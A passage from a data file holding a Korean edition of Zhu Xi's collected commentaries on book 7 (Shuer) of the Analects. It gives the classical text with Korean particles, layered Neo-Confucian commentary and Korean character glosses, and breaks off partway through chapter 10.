0.05530225485563278}","num_words":408,"character_repetition_ratio":0.016,"word_repetition_ratio":0.0,"special_characters_ratio":0.195,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.518,"perplexity_score":500.0,"cluster_detection":1} +{"text":"論語集註大全 卷之七 [述而 第七]\n此篇은 多記聖人의 謙己誨人之辭와 及其容貌行事之實이니 凡三十七章이라.\n01. 子ㅣ曰述而不作하며 信而好[去聲]古를 竊比於我老彭하노라.[1]\n述은 傳舊而已요, 作은 則創始也라. 故,作은 非聖人이면 不能이오, 而述은 則賢者도 可及이라.[01-1]\n記曰作者之謂聖述者之謂明\n竊比는 尊之之辭라. 我는 親之之辭라. 老彭은 商賢大夫라. 見[賢遍反]大戴禮니,[01-2]\n虞德篇有商老彭之語包氏註云商賢大夫\n蓋信古而傳述者也라. 孔子ㅣ刪詩書,定禮樂,贊周易,修春秋는 皆傳,先王之舊요, 而未嘗有所作也라. 故,其自言이 如此니 蓋不惟不敢當,作者之聖이라. 而亦,不敢顯然,自附於古之賢人하니, 蓋其德愈盛而心愈下하야 不自知其辭之謙也라[01-3]\n朱子曰孔子賢於堯舜非老彭之所及自不須說但其謙退不居而反自比焉且其辭氣謙遜而又出於誠實所以爲盛德之至也.\n然이나 當是時하여\n新安陳氏曰此以下推廣餘意.\n作者ㅣ 略備나 夫子ㅣ 蓋集,羣聖之大成,而折衷之하니, 其事雖述이나 而功則倍於作矣니 此又不可不知也라.[01-4]\n問述而不作如何程子曰此聖人不得位止能述而已\n○ 問聖人不得時不得位只如此聖人得時得位時更有制作否朱子曰看聖人告顔子四代禮樂只是恁地恐不大段更有制作亦因四代有此禮樂而因革之亦未是作處\n○ 問春秋恐是作否曰其事則齊桓晉文其文則史其義則丘竊取之矣看來是寫出魯史中間微有更改爾\n○ 問信而好古曰旣信古又好之者他也且恁地說信之者雖知有箇理恁地畢竟是次了箇篤好底意思\n○ 楊氏曰孔子自謂述而不作孟子言孔子作春秋春秋雖孔子作然其事則桓文其文則史孔子自謂其義則丘竊取之是亦述而已\n○ 慶源輔氏曰作者略備觀諸經可見集大成而折衷之亦於諸經見之然羣聖所作因時制宜以成一代之制夫子折衷參互訂正以乘萬世之法夫子賢於堯舜者在是\n○ 雙峯饒氏曰春秋雖因魯史而修之然實却是作蓋賞罰天子之事時王不能正其賞罰故春秋爲之褒善貶惡以誅亂賊於旣死之後是以匹夫而代天子行賞罰也此事前古所無孔子始創爲之故雖述而實作集大成者常見孟子集註書述政事詩道性情禮以正行樂以養德各是一事如樂之小成夫子合六經而折衷之如樂之集衆小成而爲大成\n○ 新安陳氏曰諸家說此章多於述作二字着意信而好古一句則忽略之夫信而好古乃述而不作之本夫子嘗自謂好古敏以求之又謂不如丘之好學常人之所以不知好古不能好學皆信道不篤故爾惟能篤於信道所以深好古道惟篤信好古所以惟述古而不敢自我作古焉此朱子今人多信而不好或好而不信一條所以不可無也.\n02. 子ㅣ 曰 黙而識之하며 學而不厭하며 誨人不倦이 何有於我哉오.[識音志又如字][4]\n識는 記也니 黙識는 謂,不言而存諸心也라.[02-1]\n朱子曰非是聽人說後記得是得於心自不能忘拳拳服膺而勿失也.\n○ 雙峯饒氏曰默識與道聽塗說者相反道聽塗說更不復留爲身心受用默識則其所得者深而所存者固矣詩云中心藏之何日忘之易曰默而成之不言而信存乎德行皆是此意.\n○ 勿軒熊氏曰先言默識者聖門之學以沈潜淵默爲本.\n一說에 識은 知也니 不言而心解也라하니, 前說이 近是라.[02-2]\n新安陳氏曰不言而存諸心者其功實不言而心解者其意玄.\n何有於我는 言,何者이 能有於我也라. 三者는 已非,聖人之極至로되 而猶不敢當하니 則謙而又,謙之辭也라.[02-3]\n[撕(시):이끌다(提),꺽다(折)][慊(겸):마음에 차지 않다; 앙심을 먹다; 정성; 족하다; 혐의(嫌)][覩(도):보다(見) (睹(볼도)의 古字)]\n朱子曰默而識之至誨人不倦是三者雖非聖人之極至在學者亦難如平時講貫方能記得或因人提撕方能存得若默而識之乃不言而存諸心非心與理契安能如此學不厭在學者久亦易厭視人與己若無干涉誨之安能不倦此三者亦須是心無間斷方能如此又曰今學者須是將此三句時時省察我還能默識否我學還不厭否我敎還不倦否如此乃好\n○ 默而識之便是得之於心學不厭便是更加講貫誨不倦便是施於人也\n○ 問何有於我哉曰此語難說聖人是自謙言我不曾有此數者聖人常有慊然不足之意衆人雖見他是仁之至熟義之至精他只管自見得有欠闕處.\n○ 此必因人稱聖人有此聖人以謙辭承之記者失却上一節只做聖人自話記了.\n○ 南軒張氏曰默識非言意所可及蓋森然於不覩不聞之中者也在己則學不厭施諸人則敎不倦成己成物之不息也此亦是作知識說.\n○ 雲峯胡氏曰學貴自得故在默識自得而不自以爲得故學而不厭自得而必欲人之同得故敎而不倦.\n03. 子ㅣ 曰 德之不脩(修)와 學之不講과 聞義不能徙하며, 不善不能改ㅣ 是吾憂也니라.[7]\n尹氏曰 德은 必脩(修)而後成이요,[03-1]\n勉齊黃氏曰脩治也謂去其疵類而全其善也.[疵:흉자,흠집,죽은깨]\n學은 必講而後明이며,[03-2]\n上蔡謝氏曰學須是熟講學不講用盡工夫只是舊時人.\n見善能徙하고 改過不吝이니 此四者는 日新之要也라. 苟未能之면 聖人猶憂온 況學者乎아?[03-3]\n[穿(천):뚫다,통하다,구멍,파다.꿰다][窬(유):판장문.(두:문결구멍,작은문,요강][礱(롱):맥돌,갈다][徏(척):오르다(陞) (陟(오를척)과 同字)][麽(마):잘다(微); 무엇; 어찌(何); 어조사(語助詞)]\n朱子曰脩德是本如有害人之心便是仁不脩有穿窬之心便是義不脩德是理之得於吾心者已是我有底物事了更日日磨礱勿令間斷徏義改不善須與分別義是事之宜我做這事覺未甚合宜須徏令合宜此却未有不善處不善便是過惡須速全體改之始得有輕重之別]\n○ 須實見得是如何得是甚麽物事如何喚做脩如何喚做不脩人而無欲害人之心這是德得之於吾心也然害人之心或有時而萌者是不能脩者也德者道理得於吾心之謂脩者好好脩治之謂更須自體之須把這許多說話做自家身上說不是爲別人說.\n○ 問德之不脩可以包下三句否曰若恁地夫子但說一句便了何用更說四句徏義改過略似脩德裏面事然也別是箇頭項講學自是講學脩德自是脩德如致知格物是講學誠意正心脩身是脩德博學審問謹思明辨是講學篤行是脩德又曰不善自家做得淫邪非僻底事徏義是雖無過惡然做得未恰好便當徏而從之聖人說這幾句淺深輕重盡在裏面聞義不能徏底罪小不善不能改底罪大但聖人不分細大都說在裏面學者皆當着工夫\n○ 問先知德不可不修方知學不可不講能講學方能徏義方能改不善如此看如何曰脩德是本脩德恰似說入則孝出則弟謹而信汎愛衆而親仁學不可不講恰似說行有餘力則以學文遷善改過是脩德中緊要事蓋只脩德而不遷善改過亦不能得長進\n○ 德之不脩至是吾憂也這雖是聖人以此敎人然學不厭之意多見於此使有一毫自以爲聖任其自爾則雖聖而失其聖矣此是聖人自憂也聖人固無是四者之憂所以然者亦自貶以敎人之意.\n○ 南軒張氏曰夫德不脩則無以有諸躬學不講則無以明夫善聞義不能徏則何有於義不善不能改則安於不善而已是豈不可憂乎.\n○ 勉齊黃氏曰德以脩而日新學以講而日明徏義則善日益改不善則過日損四者脩身之大要也不此之務可無憂乎.\n○ 雲峯胡氏曰德必脩而後新學以講而益新徏與改皆是自新故尹氏以爲日新之要.\n○ 新安陳氏曰脩德而繼以講學與尊德性而道問學是也脩德爲大本講學爲實功徏義改不善脩德之條目而講學之效驗也脩德而能講學則行已應事始能知其孰爲義孰爲非義孰爲善孰爲不善必徏之改之始可以爲脩德始無負於講學矣不然德之不脩自若也學亦徒虛言之講耳聖人不自聖猶以是爲憂此聖所以益聖常人不知憂聖人之憂此愚所以益愚也.\n04. 子之燕居에 申申如也하시며 夭夭如也러시다.[10]\n燕居는 閒[音閑]暇無事之時라. 楊氏曰 申申은 其容舒也요, 夭夭는 其色愉也라.[04-1]\n胡氏曰申有展布之意夭有和悅之意惟身可言舒布故知以容言惟顔貌可言和悅故知以色言\n○洪氏曰易於形容所不能言者必曰如至鄕黨一言之不足則復言之與此義同\n○ 程子曰 此는 弟子이 善形容,聖人處也니 爲[去聲]申申字說不盡이라. 故,更著[陟略反作着非下同]夭夭字라. 今人이 燕居之時에 不怠惰放肆면 必太嚴厲하니 嚴厲時에 著此,四字不得이요, 怠惰放肆時에 亦著此,四字不得이니 惟聖人이라야 便,自有中和之氣라.[04-2]\n[踧(척):평평할. (축):조심해걸을][踖(적):조심해걸을,밝다,뛰다.踧踖:공손하게 삼가는 모양][胖:희생반쪽반][愉:즐거울유][纔:겨우재,잠깐,처음,비로소,조금][勃:발끈할발]\n上蔡謝氏曰善觀聖人者可以得之於儀刑蓋周旋中禮者必其盛德之至是以二三者無時不觀省於斯焉燕居非鞠躬如不容之時是以其容申申非踧踖屛氣之時是以其色夭夭此之爲中節\n○朱子曰申申是言其不局促是心廣體胖後恁地所謂色愉只是和悅底意思但此只是燕居如此在朝及接人又不然\n○問申申夭夭聖人得於天地自然若學者有心要收束則入於嚴厲有心要舒泰則入於放肆惟理義以養其氣養之久則自然到此否曰亦須稍嚴肅則可不然則無下手處又曰但得身心收斂則自然和樂不是別有一箇和樂纔整肅則自和樂\n○胡氏曰程子以怠惰放肆對嚴厲而言於嚴厲上加大字蓋嚴厲亦不可無大嚴厲則不可耳.\n○南軒張氏曰燕居時在衆人易以怠肆君子則未免矜持安有此氣象\n○慶源輔氏曰燕居閒暇無事之時故其容儀得以遂其舒緩而無迫遞之意其顔色得以全其愉怡而無勃如之變申申夭夭聖人燕居容色自然之符也\n○新安陳氏曰雖閒居時其德容亦自然中和如此此所以爲聖人也聖人閒居中和之氣乃德性中和之符程子所謂自有中和之氣自自然也.\n05. 子ㅣ 曰 甚矣라. 吾衰也여. 久矣라. 吾不復夢見周公이로다[復扶又反].[12]\n孔子ㅣ 盛時에 志,欲行周公之道라. 故,夢寐之間에 如或見之러니, 至,其老而不能行也엔 則無復[扶又反下同]是心하야 而亦無復是夢矣라. 故,因此,而自歎其衰之甚也라.[05-1]\n朱子曰據文勢甚矣吾衰也是一句久矣吾不復夢見周公是一句惟其久不夢見所以見得是衰.\n○新安陳氏曰此亦道不行之符兆自見於吾身者.\n○ 程子曰 孔子ㅣ 盛時에 寤寐,常存行周公之道러니, 及其老也,則志慮衰而不可以有爲矣라. 蓋存道者ㅣ 心이니, 無,老少之異어니와 而行道者ㅣ 身이니 老,則衰也라.[05-2]\n[窹:부어오.부뚜막,아궁이][眹=脫:조짐짐,눈동자,점괘][懇:정성간,간절][怛(달):놀랍다,수고스럽다,슬프다][怎(즘):어찌,어찌하여,어조사]\n朱子曰夫子夢寐周公正是聖人至誠不息處然時止時行無所凝滯亦未嘗不灑落也故及其衰則不復夢亦可見矣若是合做底事則豈容有所忽忘耶?\n○問伊川以爲不是夢見人只是夢寐常存行周公之道耳集註則以爲如或見之不知果是如何曰想是有時而夢見旣分明說夢見周公全道不見恐亦未安程子之意蓋嫌於因思而夢者故爲此說其義則精矣然恐非夫子所言之本意也.\n○問孔子夢周公若以聖人欲行其道而夢之耶則是心猶有所動若以壯年道有可行之理而夢之耶則又不應虛有此朕兆也曰聖人曷嘗無夢須看他與周公契合處如何不然又不見別夢一箇人也聖人之心自有箇勤懇惻怛不能自己處自有箇脫然無所係累處要亦正是以此卜吾之盛衰\n○問夢周公是眞夢否曰當初思欲行周公之道時必亦視曾夢見曰恐涉於心動否曰心本是箇動物怎敎他不動夜之夢猶晝之思也思亦是心之動處但無邪思可矣夢得其正何害心存這事便夢這事\n○問夫子未嘗識周公烏得而夢之曰今有人夢見平生所不識之人云是某人者蓋有之\n○不是孔子衰是時世衰聖人與天地相應若天要用孔子必不敎他衰如武王太公皆八九十歲\n○戴少望謂顔淵死聖人觀之人事鳳不至圖不出聖人察之天理不夢周公聖人驗之吾身然後知斯道之果不可行而天之果無意於斯世也這意思也好\n○吾不復夢見周公自是箇證兆如此當聖人志慮未衰天意雖定八分猶有兩分運轉故也做得周公事遂夢見之非以思慮也要之聖人精神血氣與時運相爲流通到鳳不至圖不出明王不興其證兆自是恁地\n○胡氏謂聖人誠存則其夢治他人思慮紛擾則所夢亦亂或邪或正與旦晝之所爲等爾善學者旣謹其言動而又必驗諸夢寐之間也\n○南軒張氏曰夫子夢見周公之心周公思兼三王之心也.\n06. 子ㅣ 曰 志於道하며,[15]\n志者는 心之所之之謂라.\n新安陳氏曰所之之往也\n道,則人倫日用之間에 所當行者ㅣ 是也라.\n朱子曰志道如講學力行皆是\n知此,而心必之焉,則所適者ㅣ 正而無,他歧之惑矣라.\n朱子曰志於道志字如有向望求索之意大學格物致知卽其事也又曰志於道不是只守箇空底須是至誠懇惻念念不忘所謂道者只是日用當然之理事親必要孝事君必要忠以至事兄而弟與朋友交而信皆是道也志於道者正是謂志於此也\n○胡氏曰道猶路也故適子他歧字皆自路言之 [歧:갈림길기]\n○新安陳氏曰知此二字是朱子說志道以前事必知道而候志向在道卽知止而後有定知至善之所在而後志有定向也.\n據於德하며.[16]\n據者는 執守之意라. 德은 則行道而有得於心者也라. 得之於心而守之不失則,終始惟一而有日新之功矣라.\n朱子曰德是得這物事於我故事親必孝必不至於不孝事君必忠必不至於不忠若今日孝明日又不孝今日忠明日又不忠是未有得於我不可謂之德惟德是有得於我者故可據守之也若是未有得於我則亦無可據者\n○問據於德曰如孝便是自家元得這孝道理非從外旋取來據於德乃是得這基址在這裏\n○德是心得此道如欲爲忠而得此忠欲爲孝而得此孝旣得之亦會失了須常照管不要失了\n○新安陳氏曰未得之志在必得之旣得之方有可據守但又在守之固耳.\n依於仁하며,[17]\n依者는 不違之謂라. 仁은 則私欲盡去,而心德之全也라. 工夫至此,而無終食之違면 則存養之熟하여 無適而非天理之流行矣라.\n朱子曰依如依乎中庸之依相依而不捨之意此心常在不令少有走作無物欲之累而純乎天理道至此亦活德至此亦活.\n○德是逐件上理會底得寸守寸得尺守尺仁是全體大用常依靠處志道據德而有一息之不仁便間斷了.\n[靠(고):어기다(相違); 붙이다(依附)]\n○據德是因事發見如因事父有孝因事君有忠依仁是本體不可須臾(?)離底又是據於德底骨子.\n○陳氏曰志道是一心向聖人路上行據德是志道工夫成向之所志者今皆實得於己如有物可執據依仁則據德工夫熟天理與心爲一矣據如手執杖依如身着衣杖容有是而離手衣則不容須臾離身一節密一節也\n○西山眞氏曰道者衆理之總名德則行衆理而得於心者仁則心之全德也志乎道而弗他可謂知所嚮矣仁則歸宿之地而用功之親切處也.\n游於藝니라.[19]\n游者는 玩物適情之謂라.\n胡氏曰玩物本非美辤然以六藝爲物而玩之非喪志之物也.\n○陸氏曰游如人之游觀有時而爲之\n藝는 則禮樂之文과 射御書數之法이니 皆至理所寓,而日用之不可闕者也라. 朝夕游焉하여 以博其義理之趣,則應務有餘,而心亦,無所放矣라.[06-4-1]\n胡氏曰藝亦日用之不可無者乃是理之妙散於日用間苟有未通亦位全體之累.\n○ 此章은 言,人之爲學이 當如是也라. 蓋學,莫先於立志니 志道,則心存於正而不他하고, 據德,則道得於心而不失하依仁,則德性常用而物欲不行하고,[06-4-2]\n慶源輔氏曰天理人欲不兩勝一盛則一衰也.\n游藝,則小物不遺,而動息有養이라.[06-4-3]\n慶源輔氏曰不外物以求理而常玩物理以養性.\n學者ㅣ 於此에 有以不失,其先後之序와 輕重之倫焉,則本末兼該하고 內外交養하여 日用之間에 無少間[去聲]隙[乞逆反]而涵泳從[七容反]容하여 忽不自知,其入於聖賢之域矣라.[06-4-4]\n[饜(염):배부르다(飽); 포식하다(足); 물리다(飫:어). 饜飫:싫도록 제 식욕을 채움][隙:틈극][脉(맥):훔쳐보다,서로보다.보는 모양 (脈가 同字)][滲:스밀삼,샐삼][剡(염:날카롭다; 빛나는 모양; 화살이 나는 모양)(섬:땅이름)][濩:퍼질호][馭:말부릴어][鑾:방울란][逈(형):멀다(寥遠); 빛나다(光煇) (迥의 俗字)]\n慶源輔氏曰先後之序謂道德仁藝之序輕重之倫謂志據依游之倫先者重後者輕也本與內謂道德仁末與外謂藝在彼之序雖有先後在我之倫雖有輕重而未嘗偏廢所謂兼該而交養也日用之間如是用功無少間隙涵泳從容於義理事物之間則將優游饜飫而忽不知其入於聖賢之域矣\n朱子曰志於道方是要去做方是事親欲盡其孝事兄欲盡其弟方是恁地至據於德則事親能盡其孝事兄能盡其弟便自有這道理了却有可據底地位雖然如此此只是就事上逐件理會若不依於仁則不到那事時此心便沒頓放處依於仁則自朝至暮此心無不在這裏連許多德總攝貫穿都活了雖然藝亦不可不去理會如禮樂射御書數一件事理會不得此心便覺滯礙惟是一一去理會這道理脉絡方始一一流通無那箇滯礙因此又却養得這道理以此知大則道無不包小則道無不入小大精粗皆無滲漏皆是做工夫處故曰語大天下莫能載語小天下莫能破.\n○志者心之所之道者當爲之理爲君有君之理爲臣有臣之理志於道留心於此理而不忘也德者得也旣得之則當據守而弗失仁者人之本心也旣有所據守又當依於仁而不違如所謂君子無終食之間違仁是也游於藝一句比上三句稍輕然不可大段輕說如上蔡云有之不害爲小人無之不害爲君子則是太輕了古人於禮樂射御書數等事皆至理之所寓游乎此則心無所放日用之間本末俱擧而內外交相養矣.\n○自志道至依仁是從粗入精自依仁至游藝是自本兼末.\n○藝是小學工夫若論先後則藝爲先三者爲後若論本末則三者爲本而藝爲末習藝之功固在先游者從容潛玩之意又當在後文中子云聖人志道據德依仁而後藝可游也此說得自好.\n○問道爲義理之總名何也曰道以人所共由而得名若父子之仁君臣之義者是也曰德者已之所自得何也曰若委父子而得夫仁爲君臣而得夫義者是也曰其志之據之何也曰潛心在是而期於必至者志也旣以得之而謹守不失者據也曰不違仁者柰何曰吾於顔子之事旣言之矣敢問六藝之目與所以游之之說曰五禮吉凶軍賓嘉也六樂雲門大咸大韶大夏大濩大武也五射曰白矢參連剡注襄尺井儀也五馭鳴和鑾逐水曲過君表舞交衢逐禽左也六書象形會意指事轉注假借諧聲也九數方田粟米差分少廣商功均輸方程嬴不足旁要也是其名物度數皆有至理存焉又皆人所日用而不可無者游心於此則可以盡乎物理周於世用而其雍容涵泳之間非僻之心亦無自而入之矣蓋志據依游人心之所必有而不能無者也道德仁藝人心所當志據依游之地而不可易者也以先後之次言之則志道而後德可據據德而後仁可依依仁而後藝可游以疎密之等言之則志道者未如德之可據據德者未如仁之可依依仁之密乎內又未盡乎游藝之周於外也詳味聖人此語而以身體之則其進爲之序先後疎密皆可循序以進而日用之間心思動作無復毫髮之隙漏矣.\n○勉齊黃氏曰道者義理之總名德者吾身所學而有得之善仁者本心之德藝者六藝之事是四者皆人所不可不留意者但三者最重而藝稍輕四者之序則志者向之而不忘據者守之而不失依者隨之而不離是三者皆不可須臾捨也游則若用力若不用力而已上三者則互擧並行而不相悖游藝則有不必專心致志耳\n○問志於道一章古者八歲卽敎之以六藝之事明爲學之所當先也今於此章末言之而朱子復以爲學者於此當求其先後之序輕重之倫似以藝爲可後抑志道據德依仁是大學之事而游藝乃大學之極功耶潛室陳氏曰此却有首尾本末與前章別敎之六藝小學之初事游於藝文成德之餘功小學之初習其文成德之游適於意生熟滋味逈別.\n○胡氏曰道德仁所當先藝可以少後志據依所當重游可以少輕務本而不廢其末事內而不忽乎外以其先後輕重之倫序而言固不無差別以其本末兼該內外交養而言則又未嘗不相資也.\n○雙峯饒氏曰志道如人行路據德如行路而有宿泊處依仁則又就宿泊處漸漸立得家計成却安居了游藝如居家有時出游也須游於藝若游從別處去別出乎道德仁之外而爲放心矣.\n○新安陳氏曰志道據德而依於仁則本之立於內者旣粹由此而復游於藝則末之該於外者不遺能深用功於本而以餘功及其末則內外交養而體用益貫矣.\n07. 子ㅣ 曰 自行束脩以上은 吾未嘗無誨焉이로라.[25]\n脩는 脯也니, 十脡[他鼎反]爲束이라. 古者에 相見,必執贄以爲禮라.\n禮曲禮下凡摯與贄同天子鬯諸侯圭卿羔大夫鴈士雉庶人之摯匹鄭氏音本匹卽騖也童子委摯而退摯之言至也童子委摯以退不與成人爲禮也野外軍中無摯以纓拾矢可也纓馬繁纓也拾射韝也婦人之摯椇榛脯脩棗栗\n[摯:잡을지,폐백지(贄)][鬯:울창주창][椇:폐백에쓰는탱자나무구][榛:기암남누진,덤불,우거짐]\n束脩는 其至薄者라.\n胡氏曰在禮無以束脩爲贄惟記檀弓曰束脩之問不出境少義曰其以乘壺酒束脩一犬穀梁傳曰束脩之問不行境中則是亦有以此爲禮不但婦人用脯脩爲贄也然比羔鴈爲薄故云至薄\n○邢氏曰此禮之薄者厚則有玉帛之類故云以上以包之\n○齊氏曰漢諸王致禮於其傳猶曰束脩蓋古禮也\n蓋人之有生이 同具此理라. 故,聖人之於人에 無不欲其入於善이로되 但不知來學,則無往敎之禮라.\n記曰禮聞來學不聞往敎\n故,苟以禮來,則無,不有以敎之也라.[07-1]\n問束脩始相見之禮也人苟以禮來聖人未嘗不誨之蓋辭氣容色之間何莫非誨也固不保其往耳朱子曰誨之一字恐未說到辭氣容色之間亦未有不保其往之意恐不應於此遞及之也當詳玩之\n○胡氏曰人之有生同具此理雖以氣稟物欲之累而趨於惡然皆可反而之善聖人仁天下之心曷嘗不欲啓其爲善之塗哉惟自暴自棄在聖人亦無如之何故有不往敎之禮執贄而來禮雖至薄意則可取故未嘗不敎之也\n○慶源輔氏曰聖人之敎雖不輕棄人亦不苟授人仁義並行而不相悖也但聖人之心其愛人也終無窮已而其責人也終不至於大甚爾\n08. 子ㅣ 曰 不憤이어든 不啓하며 不悱어든 不發호대 擧一隅에 不以三隅反이어든 則不復也니라.[27]\n憤者는 心求通而未得之意요. 悱者는 口欲言而未能之貌라.\n慶源輔氏曰心求通而未得通則其意憤然而不能自己憤有鬱懣之意口欲言而未能言則其貌悱然而不能自伸悱者屈抑之貌.[懣(만:번민)(문:번거로울)][悱(비):뜻은 있으나말하지못함,분내다]\n啓는 謂開其意요, 發은 謂達其辭라.\n雙峯饒氏曰啓如啓戶略開之也發如拏之張而爲之發其機.\n物之有四隅者는 擧一可知其三이라. 反者는 還以相證之義라. 復는 再告也라.[08-1]\n華陽范氏曰憤則其慮也深悱則其進也勇因而啓發之則其人必自得矣孟子曰君子之所以敎者五有如時雨之化者顔子是也有成德者有達材者有答問者憤悱之類是也有私淑艾者擧一隅之類是也.\n○朱子曰悱非全不曉也曉得三五分只是說不出學者至憤悱時其心己略略通曉但心己喩而未甚信口欲言而未能達故聖人於此啓發之擧一隅其三隅須是學者自去理會擧一隅而不能以三隅反是不能自用力者夫子所以不再擧也.\n○南軒張氏曰此聖人敎人之方也學貴於思思而後有得憤悱者思慮積久鬱而未暢誠意懇切形於外也憤則見於辭氣悱則見於顔色於是而啓其端發其蔽則庶幾其聽之之專而感之之深也然告之亦擧一隅耳必待其以三隅反而後復之此古之敎者所以爲從容而使人繼其志之道也若不以三隅反則是未能因吾言而推類苟遞以復之則於彼亦無力矣\n上章에 已言聖人의 誨人不倦之意하고 因幷[去聲]記此하야 欲學者ㅣ 勉於用力,以爲受敎之地也라.[08-2]\n新安陳氏曰聖人固不倦於敎亦不輕於敎學者無受敎之地敎之必不入也.\n○ 程子曰 憤悱는 誠意之見[賢遍反]於色辭者也[顔色辭氣]니, 待其誠至而後告之요. 旣告之어든 又必待其自得[以三隅反]하야 乃復告爾라.[08-3]\n朱子曰憤悱便是誠意到不憤悱便是誠不到.\n又曰 不待憤悱而發,則知之不能堅固하고, 待其憤悱,而後發,則沛然矣라.[08-4]\n問程子云待憤悱而後發則沛然矣如何有沛然底意思朱子曰此正所謂時雨之化譬如種植之物人力隨分己加但正當那時節欲發生未發生之際却欠了些子雨忽然得這些子雨來生意豈可禦也.\n[沛:넉넉할패,늪][譬:깨우칠비,비유할비]\n○慶源輔氏曰不待憤悱而發是强聒之耳必待憤悱而發則猶水之流壅遏於此有以決之則沛然而往莫能禦矣.]\n[聒:떠들석할괄][壅:막을옹][遏:막을알]\n○新安陳氏曰不憤悱則不啓發不以三隅反則不復朱子作兩節對說程子只作一串說.\n09. 子ㅣ 食於有喪者之側에 未嘗飽也러시다.[30]\n臨喪哀하야 不能甘也라.\n朱子曰未嘗飽有食不下咽之意. ○厚齋馮氏曰檀弓記此蓋古禮然也是書所記禮儀多合禮經當世不行而夫子擧行之故門人以爲記耳.\n子ㅣ 於是日에 哭則不歌러시다.[30]\n哭은 謂弔哭이니 一日之內에 餘哀未忘하야 自不能歌也라.\n朱子曰聖人不成哭了便驟去歌如四時也須漸漸過去聖人之心如春夏秋冬不遽寒燠故哭之日自是不能遽忘]\n[驟:달릴취][遽:급할거][燠:더울욱,뜨거울옥,앓는소리오]\n○子於是日哭則不歌不要把一箇誠字包却須要識得聖人自然重厚不輕浮底意思\n○南軒張氏曰臨喪則哀食何由飽哭者哀之至歌者樂之著一日之間二者不容相襲若此也學者法聖人而勉之亦足以養忠厚之心也\n○ 謝氏曰 學者ㅣ 於此二者에 可見,聖人,情性之正也니, 能識,聖人之情性,然後에 可以學道니라.[09-2-1]\n慶源輔氏曰在聖人分上二者皆自然安行其情性之正莫非道也識之者可以學道\n○新安陳氏曰是日歌或遇當哭哀不能己也是日哭縱或遇歌樂可以已也.\n10. 子ㅣ 謂顔淵曰 用之則行하고 舍之則藏을 惟我與爾ㅣ 有是夫인저.[31]\n尹氏曰 用舍는 無與[音預]於己요.\n朱子曰用舍由在別人不由得我.\n行藏은 安於所遇니,\n新安陳氏曰遇用我則安於行遇舍我則安於藏無固必也.\n命不足道也라.[10-1-1]\n朱子曰命只是尹氏添此一脚本文非有此意.\n顔子ㅣ 幾[平聲]於聖人이라. 故로 亦能之니라.[10-1-2]\n程子曰孔子謂顔淵曰用之則行舍之則藏惟我與爾有是夫君子所性雖大行不加焉雖窮居不損焉不爲堯存不爲桀亡者也用之則行舍之則藏皆不累於己爾.\n○朱子曰用之則行舍之則藏此八字極要人玩味若他人用之則無可行舍之則無可藏惟孔子與顔淵先有此事業在己分內若用之則見成將出來行舍之則藏了他人豈有是哉故下文云惟我與爾有是夫有是二字當如此看用舍無預於己行藏安於所遇命不足道也蓋只看義理如何都不問那命了雖使前面做得去若義去不得也只不做所謂殺一不辜行一不義而得天下有所不爲若中人之情則見前面做不得了方休方委之於命若使前面做得他定不肯已所謂不得已而安之命者也此固賢於世之貪冒無恥者然實未能無求之之心也聖人更不問命只看義如何貧富貴賤惟義所在謂安於所遇也如顔子之安於陋巷他那曾計較命如何.\n○問用之則行舍之則藏竊意漆雕曾閔亦能之曰舍之則藏易用之則行難若閉用之未必能行也聖人模大藏時不止藏他一身然藏了事譬如大船有許多器具寶貝撑去則許多物便都藏了衆人便沒許大力量然聖人行藏自是脫然無所係累救世之心雖切然得做便做做不得便休他人使有此若未用時則切切於求行舍之則未必便藏耿直之向有書云三代禮樂制度盡在聖人所以用之則有可行某謂此固其可行之具但本領更全在無所係累處有許大本領則制度點化出來都成好物故在聖人則爲事業衆人沒那本領雖盡得他禮樂制度亦只如小屋收藏器具窒塞都滿運轉都不得.\n[撑(탱):버티다,취하다,헤치다]\n○此章專在兩箇則字上如可以仕則仕可以止則止之類孔顔於用舍行藏之間如霽則行潦則止\n[霽:갤제,비그침][潦:큰비료]\n○常人用之則行乃所願舍之則藏非所欲舍之則藏是自家命恁地不得已不奈何聖人無不得已不奈何底意何消更言命到得無可奈何處始言命聖人說命只爲中人以下說如道之將行將廢命也此爲子服景伯說得之不得曰有命是爲彌子瑕說下二等人不知有命又一等人知有命猶自去計較中人以上便安於命到聖人便不消言命矣\n[瑕:티하,허물하,어찌하,틈하]\n○厚齋馮氏曰道本期於用非獨善其身而已也然時不我用則有退藏而已用之而欲藏不仁也舍之而欲行不知也是時欲扶世立功名者知行而不知藏欲潔身遺世者知藏而不知行此夫子所以旁觀一世惟子淵與已同也說者乃謂淵不願仕是以其迹而不知其心也爲邦之問槩可見矣.\n[迹=跡,蹟:발자취적]\n○勉齋黃氏曰用之舍之存乎人則行則藏應乎已則無意無我可見矣用之行矣至舍之則藏舍之藏矣至用之則行則無必無固可見矣\n○雲峯胡氏曰用行舍藏玩集註及語錄一當就有字上看常人未必有此也二當就則字上看用舍在人而聖人無所必也三當舍兩句互看徇物者忘義徇祿用之雖行而舍之未必藏絶物者潔身亂倫舍之雖藏而用之未必行\n[徇(순):돌다(순행)두르다,경영하다,두루]\n子路ㅣ 曰 子ㅣ 行三軍이면 則誰與ㅣ시리잇고[30]\n萬二千五百人이 爲軍이니 大國은 三軍이라 子路ㅣ見孔子ㅣ獨美顔淵하고 自負其勇하야 意,夫子ㅣ若行三軍이면 必與己同이라.\n朱子曰子路此問雖無私意然猶有固必之心\n子ㅣ曰 暴虎馮河하야 死而無悔者를吾不與也니 必也臨事而懼하며 好謀而成者也니라.[馮皮冰反好去聲].[30]\n暴虎는 徒搏이오 馮河는 徒涉이라.[新安陳氏曰徒徒手而無所持也] 懼는 謂敬其事요 成은 謂成其謀니 言,此皆以抑,其勇[上三句]而敎之[下二句]라. 然,行師之要ㅣ 實不外此니, 